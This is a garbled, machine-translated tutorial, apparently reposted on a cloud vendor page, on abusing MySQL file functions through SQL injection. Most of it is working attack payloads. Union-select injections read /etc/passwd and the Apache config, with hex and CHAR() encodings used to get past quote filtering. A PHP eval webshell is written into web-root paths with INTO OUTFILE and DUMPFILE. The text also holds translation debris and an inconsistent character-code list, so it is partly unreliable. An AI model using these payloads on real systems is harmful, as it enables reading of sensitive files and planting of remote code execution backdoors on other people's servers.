Mysql Read and write function Utilization Learning

Source: Internet
Author: User

Statement Simple memory: select Load_file (); Select ' A word ' into outfile ' website path '; 1. Mysql Read and write function(1) Read functionLoad_file ()(2) Write functioninto outfile 'into dumpfile '2. mysql Read function use (1) Read config file statement                Select Load_file ('/etc/httpd/conf/httpd.conf ')   & nbsp     Select Load_file ('/etc/passwd ')          (2) Injection point read profile statement       & nbsp       and 1=2 Union select 1,load_file ('/etc/httpd/conf/httpd.conf '),3,4,5,6 ---        and 1=2 Union select 1,load_file ('/etc/passwd '), 3,4,5,6---  (3) Single quote bypass profile read                 and 1=2 Union select 1,load_file ('/etc/passwd '),3,4,5,6 ---        A ND 1=2 Union Select 1,load_file (0x2f6574632f706173737764),3,4,5,6 ---   0x2f6574632f706173737764 to "/ ETC/PASSWD "hex hex conversion result;        and 1=2 Union select 1,load_file (CHAR (47 101 116 99 47 112 97 115 115 1 ),3,4,5,6 ---   char (47 101 116 99 47 112 97 115 115 119 100) ASCII transcoding for ", etc/passwd";         NOTE: When the browser returns data,It is possible to garbled the problem by using the hex () function to convert the string to "hexadecimal" data in the following format.        and 1=2 Union Select 1,Hex(Load_file (Char(47 101 116 99 47 112 97 115 115 119 100))) , 3,4,5,6--- 3. mysql Write function use (1) Write a sentence statement select ' A word ' into outfile '/opt/lampp/htdocs/1.php ' select ' A word ' into DumpFile '/var/w Ww/html/1.php ' (2) injection Point write a sentence statement select ' <?php @eval ($_post[123]);? > ' into outfile '/opt/lampp/htdocs/1.php ' select ' <?php @eval ($_post[123]);? > ' into DumpFile '/var/www/html/1.php '

Mysql Read and write function utilization learning

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.